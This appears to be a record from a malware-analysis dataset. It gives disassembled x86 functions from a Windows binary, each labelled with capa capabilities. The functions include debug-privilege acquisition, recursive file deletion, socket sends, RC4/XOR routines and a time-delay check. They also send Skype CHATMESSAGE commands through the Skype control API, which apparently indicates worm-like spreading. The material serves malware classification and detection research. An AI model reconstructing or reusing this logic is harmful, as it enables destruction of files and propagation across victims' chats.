joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414234
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.004216d0
push 1
push str.SeDebugPrivilege
mov byte [ebp - 1], 0
call fcn.0041388a
test eax, eax
pop ecx
pop ecx
je 0x414271
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
call dword [0x458c04]
test eax, eax
jne 0x414275
xor eax, eax
leave
ret
mov eax, dword [ebp - 0xc]
shr eax, 2
je 0x41432a
push esi
push edi
lea esi, [ebp - 0x1114]
mov dword [ebp - 8], eax
push str.unknown
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi]
push 0
push 0x411
call dword [0x458b44]
mov edi, eax
test edi, edi
je 0x41430b
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [0x458c5c]
test eax, eax
je 0x414302
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x10]
push edi
call dword [0x458adc]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x414302
push eax
push edi
call dword [0x458b84]
test eax, eax
je 0x414302
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41431c
cmp dword [esi], 0
jbe 0x41431c
push esi
push 0x405d42
call dword [sym.imp.USER32.dll_EnumWindows]
add esi, 4
dec dword [ebp - 8]
jne 0x41428c
pop edi
pop esi
movzx eax, byte [ebp - 1]
leave
ret
Function at 0x414330
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
inc dword [ebp + 0xc]
lea eax, [ebp - 0x348]
push str._s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414479
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4143e6
cmp byte [ebp - 0x218], 0x2e
je 0x414463
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3b8
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x104]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00414330
add esp, 0x20
test eax, eax
je 0x414463
cmp dword [ebp + 0xc], 2
jg 0x414463
xor esi, esi
inc esi
jmp 0x41447b
cmp dword [ebp + 0x10], 0
je 0x414416
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp + 0x14], eax
jge 0x414463
sub eax, dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp + eax - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x414463
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a3c0
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x414386
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x414987
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.004136ca
test eax, eax
pop ecx
jne 0x41499b
mov al, 1
pop esi
ret
push esi
call fcn.00413acb
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call fcn.0041383f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
pop esi
ret

Function at 0x4151e8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
mov edi, 0x415188
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call esi
cmp dword [ebp - 0xc], ebx
jne 0x41522a
cmp dword [ebp - 4], ebx
je 0x41522a
lea eax, [ebp - 0xc]
push eax
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret
Function at 0x41578c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 4], 0
push edi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4157c0
xor eax, eax
jmp 0x415805
push 0x258
lea eax, [ebp - 0x260]
push eax
push 0x42f300
call fcn.00413043
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x415baa
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2810
call fcn.004216d0
push esi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 0x14]
mov esi, eax
lea eax, [ebp - 0x2810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.00421540
add esp, 0xc
push dword [ebp + 0x10]
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov eax, dword [ebp + 0xc]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
lea eax, [ebp - 0x2810]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
pop esi
leave
ret
Function at 0x416aa3
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
push ebx
push edi
push 0x1f
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x20], bl
pop ecx
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
mov dword [ebp + 0x70], ebx
call fcn.00416323
test al, al
pop ecx
je 0x416ae6
push 0x80
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x416aed
xor eax, eax
jmp 0x416bab
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
jne 0x416b05
xor eax, eax
jmp 0x416baa
mov eax, dword [esi + 0xc]
cmp dword [eax], ebx
je 0x416ba7
xor edi, edi
cmp edi, 0x28
jge 0x416ba7
movsx ecx, word [esi + 0xa]
push ecx
push dword [edi + eax]
lea eax, [ebp + 0x64]
push eax
call fcn.00421200
push dword [ebp + 0x64]
call fcn.00414868
add esp, 0x10
test al, al
je 0x416b98
mov al, byte [ebp + 0x64]
cmp al, byte [ebp + 0x70]
jne 0x416b98
push 1
call fcn.0041667e
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421658
call fcn.00413332
and eax, 7
add eax, 6
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00413296
add esp, 0xc
push ebx
push 1
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push dword [ebp + 0x7c]
push 0x42adf4
push dword [ebp + 0x7c]
push 0x42a768
call fcn.00416920
add esp, 0x20
mov eax, dword [esi + 0xc]
add edi, 4
cmp dword [edi + eax], ebx
jne 0x416b12
xor eax, eax
inc eax
pop esi
pop edi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x419b4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
and dword [ebp + 8], 0
push ebx
push esi
push edi
mov edi, 0x10000
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx + edx*4]
mov edx, ecx
and ecx, 0xffff
shr edx, 0x10
mov esi, ecx
mov dword [ebp - 8], ecx
mov ecx, edx
imul ecx, edx
mov dword [eax + 4], ecx
mov ecx, esi
imul ecx, esi
mov dword [eax], ecx
mov ebx, edx
sub ebx, esi
sub esi, edx
mov ecx, esi
imul ecx, ebx
xor esi, ebx
mov ebx, dword [eax + 4]
and esi, edi
neg esi
mov dword [ebp - 4], edx
mov edx, ecx
neg edx
sbb edx, edx
and edx, esi
add ecx, ebx
cmp ecx, ebx
sbb esi, esi
and esi, edi
add edx, esi
mov esi, dword [eax]
add ecx, esi
cmp ecx, esi
sbb esi, esi
and esi, edi
add edx, esi
mov esi, ecx
shl esi, 0x10
add dword [eax], esi
cmp dword [eax], esi
sbb esi, esi
neg esi
shr ecx, 0x10
add esi, ebx
add ecx, esi
add ecx, edx
mov dword [eax + 4], ecx
add eax, 8
inc dword [ebp + 8]
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp + 0x10]
jl 0x419b5e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a2c3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x40a0
call fcn.004216d0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, 0x45a2c8
push esi
call edi
push eax
push dword [0x44909c]
call fcn.0041ae3f
pop ecx
pop ecx
push eax
push dword [0x4490a0]
push esi
call edi
push eax
push esi
push dword [0x44909c]
lea eax, [ebp - 0x40a0]
push eax
call fcn.0041b021
add esp, 0x18
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x41a33a
xor eax, eax
jmp 0x41a3be
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea ecx, [ebp - 8]
push ecx
mov edi, 0x400
push edi
lea ecx, [ebp - 0x408]
push ecx
push eax
jmp 0x41a387
mov eax, dword [ebp - 8]
cmp eax, ebx
jbe 0x41a38d
shl eax, 3
push ebx
push eax
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x40a0]
push eax
call fcn.0041b364
add esp, 0x10
push ebx
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jne 0x41a355
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x40a0]
push ebx
push eax
call fcn.0041b5d7
mov esi, dword [ebp + 0xc]
push 0x40
lea eax, [ebp - 0x4058]
push eax
push esi
call fcn.00421200
xor eax, eax
add esp, 0x14
mov byte [esi + 0x40], bl
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41af04
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
mov edi, dword [ebp + 0x14]
xor edx, edx
cmp edi, edx
je 0x41b01e
mov eax, dword [ebp + 0xc]
mov ecx, eax
and ecx, 7
push ebx
push esi
mov dword [ebp - 4], edx
je 0x41af42
mov ebx, dword [ebp + 8]
mov edx, ecx
mov esi, eax
shr esi, 3
mov bl, byte [esi + ebx]
mov cl, 8
sub cl, dl
shr bl, cl
movzx cx, bl
mov word [ebp - 4], cx
add edi, 7
shr eax, 3
shr edi, 3
xor esi, esi
test edi, edi
mov dword [ebp - 0xc], eax
jle 0x41b01c
lea eax, [edi - 1]
cmp esi, eax
je 0x41af73
mov eax, dword [ebp + 0x10]
movzx ax, byte [esi + eax]
xor ecx, ecx
mov ch, byte [ebp - 4]
xor eax, ecx
add edx, 8
jmp 0x41afa3
mov eax, dword [ebp + 0x14]
and eax, 7
mov dword [ebp - 8], 8
je 0x41af85
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
movzx eax, byte [esi + eax]
mov ebx, dword [ebp - 4]
mov cl, 8
sub cl, byte [ebp - 8]
shr al, cl
mov ecx, dword [ebp - 8]
shl ebx, cl
movzx ax, al
or eax, ebx
add edx, ecx
mov dword [ebp - 4], eax
xor ecx, ecx
lea eax, [edi - 1]
cmp esi, eax
setne cl
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
xor eax, eax
cmp edx, 8
setge al
test ecx, eax
jne 0x41afd7
xor ecx, ecx
lea eax, [edi - 1]
cmp esi, eax
sete cl
xor ebx, ebx
test edx, edx
setg bl
test ebx, ecx
je 0x41b013
push 8
pop eax
cmp edx, eax
mov dword [ebp - 8], eax
jg 0x41afe4
mov dword [ebp - 8], edx
mov ebx, dword [ebp - 4]
mov cl, dl
sub cl, byte [ebp - 8]
shr bx, cl
mov ecx, eax
sub ecx, dword [ebp - 8]
mov eax, 0xff00
shl bl, cl
mov ecx, dword [ebp - 8]
sar eax, cl
mov ecx, dword [ebp - 0xc]
and bl, al
mov eax, dword [ebp + 8]
inc dword [ebp - 0xc]
sub edx, dword [ebp - 8]
mov byte [ecx + eax], bl
jmp 0x41afb3
inc esi
cmp esi, edi
jl 0x41af5b
pop esi
pop ebx
pop edi
leave
ret

Function at 0x41b868
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x41b8fc
push ebx
push edi
push esi
call fcn.00410937
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x42a3c0
push ebx
call sub.VERSION.dll_VerQueryValueA
mov eax, dword [ebp - 4]
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
push ebx
call fcn.0041097e
push esi
push str.Higher:__x_n
call fcn.004223cd
push edi
push str.Lower:__x_n
call fcn.004223cd
mov ecx, dword [ebp + 0xc]
mov eax, esi
shr eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp + 0x10]
movzx eax, si
mov dword [ecx], eax
mov ecx, dword [ebp + 0x14]
mov eax, edi
shr eax, 0x10
mov dword [ecx], eax
mov ecx, dword [ebp + 0x18]
movzx eax, di
add esp, 0x14
mov dword [ecx], eax
xor eax, eax
pop edi
inc eax
pop ebx
pop esi
leave
ret
Function at 0x41ba0a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push edi
push 0x41
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x210], bl
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
push 0x41
pop ecx
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x210]
push eax
call fcn.0041b936
test eax, eax
pop ecx
jne 0x41ba50
xor al, al
jmp 0x41ba8f
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push 1
push eax
call fcn.0041452b
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x108]
push eax
push ebx
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 1
pop edi
pop ebx
leave
ret

Function at 0x41ec88
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push edi
push 0x3f
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x100], bl
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.SkypeControlAPIAttach
mov byte [0x449310], 1
mov byte [0x45af80], 1
stosb byte es:[edi], al
call esi
push str.SkypeControlAPIDiscover
mov dword [0x45b02c], eax
call esi
mov dword [0x45b030], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x40
call dword [0x458b44]
cmp dword [0x45b02c], ebx
mov dword [0x45afa0], eax
je 0x41edcd
cmp dword [0x45b030], ebx
je 0x41edcd
push ebx
push ebx
push ebx
push 0x41eb04
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41ed21
push 0xa
call esi
cmp dword [0x45af9c], ebx
je 0x41ed1d
push ebx
push 0x3e8
push ebx
push ebx
push dword [0x45af9c]
push dword [0x45b030]
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
xor edi, edi
jmp 0x41ed56
cmp edi, 0x64
jge 0x41ed8e
push 0xa
inc edi
call esi
cmp dword [0x45b034], ebx
je 0x41ed4c
jmp 0x41ed8e
lea eax, [ebp - 0x100]
push eax
push dword [0x45a338]
call fcn.00413d23
test eax, eax
pop ecx
pop ecx
jne 0x41ed7f
push ebx
call fcn.0040c3e6
pop ecx
push ebx
call fcn.00414223
mov dword [esp], 0x2710
call esi
cmp byte [0x463860], bl
jne 0x41ed60
push dword [0x45afa0]
push 0x45afa8
call dword [sym.imp.USER32.dll_UnregisterClassA]
push dword [0x45afa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x45af9c]
cmp eax, ebx
mov dword [0x45afa0], ebx
je 0x41edcd
push ebx
push ebx
push 0x12
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
lea eax, [ebp - 0x100]
push eax
push dword [0x45a338]
call fcn.00413d23
test eax, eax
pop ecx
pop ecx
jne 0x41edec
push ebx
call fcn.0040c3e6
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41f9f7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
push edi
mov dword [esi], eax
mov byte [esi + 0xa8], bl
mov byte [esi + 0xa9], bl
mov dword [esi + 0xac], ebx
mov dword [esi + 0x10], 0x64
mov dword [esi + 0x14], ebx
mov byte [esi + 0x27], bl
push dword [eax + 4]
call fcn.0041d501
mov edi, eax
mov eax, dword [esi]
push dword [eax + 4]
call fcn.0041d555
cmp edi, ebx
pop ecx
pop ecx
mov dword [ebp + 8], eax
je 0x41fa6c
call fcn.00413c5b
mov ecx, dword [0x45b5d0]
sub ecx, dword [edi + 8]
lea eax, [eax + ecx - 0x15180]
cmp eax, 0x4f1a00
ja 0x41fa6c
cmp dword [ebp + 8], 3
jb 0x41fa6c
mov byte [esi + 0x24], bl
jmp 0x41fa70
mov byte [esi + 0x24], 1
cmp edi, ebx
je 0x41fa9c
call fcn.00413c5b
mov ecx, dword [0x45b5d0]
sub ecx, dword [edi + 8]
lea eax, [eax + ecx - 0x15180]
cmp eax, 0x7080
ja 0x41fa9c
cmp dword [ebp + 8], 0x64
jbe 0x41fa9c
mov byte [esi + 0x25], 1
jmp 0x41fa9f
mov byte [esi + 0x25], bl
cmp edi, ebx
je 0x41fac5
call fcn.00413c5b
mov ecx, dword [0x45b5d0]
sub ecx, dword [edi + 8]
lea eax, [eax + ecx - 0x15180]
cmp eax, 0x5dc
ja 0x41fac5
mov byte [esi + 0x26], 1
jmp 0x41fac8
mov byte [esi + 0x26], bl
mov eax, dword [esi]
push dword [eax + 4]
lea eax, [ebp - 0x40]
push 0x42b6f8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x40]
push eax
call fcn.0041ca4c
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
push 0x7d0
jmp 0x41fb05
lea eax, [ebp - 0x40]
push eax
call fcn.0041ca4c
mov dword [esp], 0x1388
call edi
mov eax, dword [esi]
push dword [eax + 4]
call fcn.0041cc0c
cmp eax, ebx
pop ecx
mov dword [esi + 4], eax
je 0x41faf5
mov ecx, dword [eax + 0xc]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], ecx
mov dword [esi + 0x18], ebx
push dword [eax + 0xc]
call fcn.0041cd36
cmp eax, ebx
pop ecx
je 0x41fb38
mov eax, dword [eax + 8]
mov dword [esi + 0x18], eax
mov ecx, esi
call fcn.0041f86b
pop edi
mov dword [esi + 0x20], ebx
mov dword [esi + 0x1c], 0x2710
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x41fbcb
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp dword [ebp + 8], 0
push ebx
mov ebx, ecx
je 0x41fc9a
push 0x42a778
push dword [ebp + 8]
call fcn.00413394
test eax, eax
pop ecx
pop ecx
jne 0x41fc9a
cmp byte [ebp + 0xc], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov byte [ebp - 0x400], al
mov ecx, 0xff
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x41fc37
mov ecx, ebx
call fcn.0041fb52
call esi
cmp eax, dword [ebx + 0x14]
jae 0x41fc37
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41fc23
push dword [ebp + 8]
mov eax, dword [ebx + 4]
push dword [eax]
lea eax, [ebp - 0x400]
push str.CHATMESSAGE__s__s
push 0x3e8
push eax
call fcn.004223fe
lea eax, [ebp - 0x400]
push eax
call fcn.0041ca4c
add esp, 0x18
call esi
push eax
call fcn.00421658
cmp byte [ebp + 0xc], 0
pop ecx
je 0x41fc98
call fcn.00421662
cdq
mov ecx, 0x190
idiv ecx
push dword [ebp + 8]
mov edi, edx
add edi, dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
imul edi, eax
call esi
add edi, eax
mov dword [ebx + 0x14], edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x42247a
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x42b7f0
call fcn.00421c1c
mov edi, 0x94
mov eax, edi
call fcn.004216d0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x463a70], ecx
mov eax, dword [esi + 4]
mov dword [0x463a7c], eax
mov edx, dword [esi + 8]
mov dword [0x463a80], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x463a74], esi
cmp ecx, 2
je 0x4224da
or esi, 0x8000
mov dword [0x463a74], esi
shl eax, 8
add eax, edx
mov dword [0x463a78], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x422515
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x422515
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x42252d
cmp eax, 0x20b
je 0x42251a
mov dword [ebp - 0x1c], esi
jmp 0x422541
cmp dword [ecx + 0x84], 0xe
jbe 0x422515
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x42253b
cmp dword [ecx + 0x74], 0xe
jbe 0x422515
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0042547d
pop ecx
test eax, eax
jne 0x42256d
cmp dword [0x463a50], 1
jne 0x42255a
call fcn.00424c32
push 0x1c
call fcn.00424abb
push 0xff
call fcn.00422ca5
pop ecx
pop ecx
call fcn.004253db
mov dword [ebp - 4], esi
call fcn.00425230
test eax, eax
jge 0x422586
push 0x1b
call fcn.00422455
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x465050], eax
call fcn.0042510e
mov dword [0x463a48], eax
call fcn.0042506c
test eax, eax
jge 0x4225ac
push 8
call fcn.00422455
pop ecx
call fcn.00424e39
test eax, eax
jge 0x4225bd
push 9
call fcn.00422455
pop ecx
push 1
call fcn.00422cd5
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x4225d3
push eax
call fcn.00422455
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00424ddc
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x4225f4
movzx eax, word [ebp - 0x40]
jmp 0x4225f7
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.0040d7ce
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x422615
push edi
call fcn.00422e00
call fcn.00422e22
jmp 0x422647
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00421c57
ret
Function at 0x422d3f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x463ab0], esi
push edi
jne 0x422d5f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x463aac], esi
mov byte [0x463aa8], al
jne 0x422dc5
mov ecx, dword [0x465048]
test ecx, ecx
je 0x422da6
mov eax, dword [0x465044]
sub eax, 4
cmp eax, ecx
jmp 0x422d9f
mov eax, dword [eax]
test eax, eax
je 0x422d91
call eax
mov eax, dword [0x465044]
sub eax, 4
cmp eax, dword [0x465048]
mov dword [0x465044], eax
jae 0x422d89
mov eax, 0x42e02c
mov esi, 0x42e034
cmp eax, esi
mov edi, eax
jae 0x422dc5
mov eax, dword [edi]
test eax, eax
je 0x422dbe
call eax
add edi, 4
cmp edi, esi
jb 0x422db6
mov eax, 0x42e038
mov esi, 0x42e03c
cmp eax, esi
mov edi, eax
jae 0x422de4
mov eax, dword [edi]
test eax, eax
je 0x422ddd
call eax
add edi, 4
cmp edi, esi
jb 0x422dd5
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x422dfe
push dword [ebp + 8]
mov dword [0x463ab0], 1
call fcn.00422ca5
pop ebp
ret

Function at 0x422fdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x422ffc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00426649
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x42301d
test byte [esp + 8], 2
je 0x42301d
mov dword [0x463a64], 0xd
mov dword [0x463a68], 5
jmp 0x422ff8
xor eax, eax
ret